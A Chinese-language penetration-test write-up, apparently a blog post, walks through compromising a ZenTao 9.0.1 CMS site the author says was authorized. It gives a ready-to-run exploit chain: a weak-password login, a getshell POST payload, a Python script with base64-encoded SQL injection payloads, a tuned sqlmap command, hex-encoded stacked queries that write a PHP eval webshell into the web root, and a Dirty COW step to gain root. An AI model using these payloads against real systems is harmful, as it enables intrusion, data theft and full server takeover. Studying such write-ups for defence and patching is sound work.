最近碰上了一个禅道的cms系统,看了下网上并没有对这个cms比较系统的攻击方法,于是写下此文希望对大家能有所帮助。(公司授权站点,打码严重,万望见谅)
站点地址:http://xxx.xxx.xxx.xxx:8090/
cms版本:禅道9.0.1
因为个人习惯问题,喜欢测试弱口令,经过一番测试,得到其中一个用户的弱口令:keno、123456
后台存在上传点,可以任意文件上传,可是传完之后会被添加.txt的后缀,且无法突破,于是放弃。在网上搜索发现了两篇文章
https://www.cnblogs.com/iamstudy/articles/chandao_pentest_1.html
https://seaii-blog.com/index.php/2018/07/02/83.html
查看版本:
发现可能存在的漏洞点如下:
1、任意文件读取
2、直接getshell
3、Sql注入漏洞
逐一测试 任意文件读取失败访问index.php?
m=editor&f=edit
需要admin权限,但是我没有..
而关于getshell也是一样
http://example.com/?m=api&f=getModel&moduleName=editor&methodName=save¶ms=filePath=aaaaaa.php
POST内容: fileContent=<?php $_POST[1]($_POST[2]);
最后的shell地址是\zentaopro\module\api\aaaaaa.php
不知道是不是二改了cms…
最后的希望,sql注入,由文章我们可以知道禅道存在的sql注入是limit后的注入点 这里没有使用文中给出的exp,而是我自己使用extractvalue构造了一个注入语句 使用payload测试:
利用:/index.php?m=block&f=main&mode=getblockdata&blockid=case¶m=
EXP:{"orderBy":"order limit 1,1 PROCEDURE ANALYSE(extractvalue(rand(),concat(0x3a,version())),1)#","num":"1,1","type":"openedbyme"}
最后将exp进行base64编码
发现可以注入
使用python的自动化exp
import json,requests,re
url = 'http://xxx.xxx.xxx.xxx:8090/zentao/'
payload = '/index.php?m=block&f=main&mode=getblockdata&blockid=case¶m='
if not url.startswith('http'):
url = 'http' + url
headers = {
"User-Agent": "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)",
"Accept-Encoding": "gzip, deflate",
"Referer":url
}
payload1 = 'eyJvcmRlckJ5Ijoib3JkZXIgbGltaXQgMSwxIFBST0NFRFVSRSBBTkFMWVNFKGV4dHJhY3R2YWx1ZShyYW5kKCksY29uY2F0KDB4M2EsdmVyc2lvbigpKSksMSkjIiwibnVtIjoiMSwxIiwidHlwZSI6Im9wZW5lZGJ5bWUifQ=='
payload2 = 'eyJvcmRlckJ5Ijoib3JkZXIgbGltaXQgMSwxIFBST0NFRFVSRSBBTkFMWVNFKGV4dHJhY3R2YWx1ZShyYW5kKCksY29uY2F0KDB4M2EsZGF0YWJhc2UoKSkpLDEpIyIsIm51bSI6IjEsMSIsInR5cGUiOiJvcGVuZWRieW1lIn0='
payload3 = 'eyJvcmRlckJ5Ijoib3JkZXIgbGltaXQgMSwxIFBST0NFRFVSRSBBTkFMWVNFKGV4dHJhY3R2YWx1ZShyYW5kKCksY29uY2F0KDB4M2EsdXNlcigpKSksMSkjIiwibnVtIjoiMSwxIiwidHlwZSI6Im9wZW5lZGJ5bWUifQ=='
exp = payload1
exp2 = payload2
exp3 = payload3
try:
r = requests.get(url+payload+exp,headers=headers)
bug = re.findall("1105 XPATH syntax error: ':(.*?)'<p>",r.text)[0]
print('漏洞存在,当前数据库版本为:' + bug)
r = requests.get(url+payload+exp2,headers=headers)
bug = re.findall("1105 XPATH syntax error: ':(.*?)'<p>",r.text)[0]
print('漏洞存在,当前数据库为:' + bug)
r = requests.get(url+payload+exp3,headers=headers)
bug = re.findall("1105 XPATH syntax error: ':(.*?)'<p>",r.text)[0]
print('漏洞存在,当前数据库用户为:' + bug)
except Exception as e:
print('漏洞检测失败')
得到以下信息(这里此时可以直接使用py的base64编码功能但是不知道为什么一直失败,于是便手动编码了一下)
但是与文中所说的一样没有办法进行数据获取,即使给出了盲注的写法,但是既然能手工注入,那么sqlmap一定也可以,毕竟客户不只会满足一个只能获取信息的注入点
这里先介绍sqlmap的两个参数
–suffix=” – “ (修改后缀) –prefix=”)” (修改前缀)
那么这样我们就可以注入了,payload如下,其中的\是为了防止转义
Sqlmap:
sqlmap -u "http://xxx.xxx.xxx.xxx:8090/zentao/index.php?m=block&f=main&mode=getblockdata&blockid=case¶m=" --referer="http://xxx.xxx.xxx.xxx:8090/zentao/" --tamper=base64encode --level 5 --prefix="{\"orderBy\":\"order limit 1" --suffix="\",\"num\":\"1,1\",\"type\":\"openedbyme\"}" --risk 3 --time-sec=2 -v 3 -p param --dbms=mysql
这样我们就可以使用sqlmap进行数据获取了,那么我们还是需要getshell了 写webshell,前面的文章说了它过滤了下划线,我们可以使用mysql的预查询来绕过,我们也可以使用同样的方法来写入一个webshell
网上有篇文章是使用的报绝对路径的方法,http://ximcx.cn/post-141.html 可是经过尝试并不可以,后来询问大佬,大佬给出了一些提示,具体攻击手法如下
查看路径
http://xxx.xxx.xxx.xxx:8090/zentao/user-reset.html
提交地址:
http://xxx.xxx.xxx.xxx:8090/zentao/index.php?m=block&f=main&mode=getblockdata&blockid=case¶m=
写入忘记密码的文本:
shell语句命令:
select '' into outfile /opt/zbox/app/zentao/tmp/reset_5c7e631454ae5.txt'
HEX编码:(注意加密解密都不带0x,但是EXP中需要加上)
2f6f70742f7a626f782f6170702f7a656e74616f2f746d702f72657365745f356436343865396665363933312e747874
注入文件语句:
{"orderBy":"order limit 1;SET @SQL=0x2f6f70742f7a626f782f6170702f7a656e74616f2f746d702f72657365745f356436343865396665363933312e747874;PREPARE pord FROM @SQL;EXECUTE pord;-- -","num":"1,1","type":"openedbyme"}
进行编码
eyJvcmRlckJ5Ijoib3JkZXIgbGltaXQgMTtTRVQgQFNRTD0weDJmNmY3MDc0MmY3YTYyNmY3ODJmNjE3MDcwMmY3YTY1NmU3NDYxNmYyZjc0NmQ3MDJmNzI2NTczNjU3NDVmMzU2NDM2MzQzODY1Mzk2NjY1MzYzOTMzMzEyZTc0Nzg3NDtQUkVQQVJFIHBvcmQgRlJPTSBAU1FMO0VYRUNVVEUgcG9yZDstLSAtIiwibnVtIjoiMSwxIiwidHlwZSI6Im9wZW5lZGJ5bWUifQ==
shell语句命令:
select '<?php @eval($_POST[123456])?>' into outfile '/opt/zbox/app/zentao/www/hack.php'
HEX编码:
73656c65637420273c3f70687020406576616c28245f504f53545b3132333435365d293f3e2720696e746f206f757466696c6520272f6f70742f7a626f782f6170702f7a656e74616f2f7777772f6861636b2e70687027
编码
{"orderBy":"order limit 1;SET @SQL=0x73656c65637420273c3f70687020406576616c28245f504f53545b3132333435365d293f3e2720696e746f206f757466696c6520272f6f70742f7a626f782f6170702f7a656e74616f2f7777772f6861636b2e70687027;PREPARE pord FROM @SQL;EXECUTE pord;-- -","num":"1,1","type":"openedbyme"}
写入一个shell成功。具体原理其实跟西门大佬说的差不多,只是多了往忘记密码的文本写入内容的过程,具体为什么需要写入内容才能getshell,我觉得是和任意文件读取哪里有异曲同工之妙,具体的分析就留给各位师傅了。
进行提权:
普通权限, 3.x的内核
脏牛走起,传exp,执行得到root权限,剩下的?剩下的还用我说,自然是删除shell,写报告啊…..
原始链接:https://lengjibo.github.io/cs/
▼
更多精彩推荐,请关注我们
▼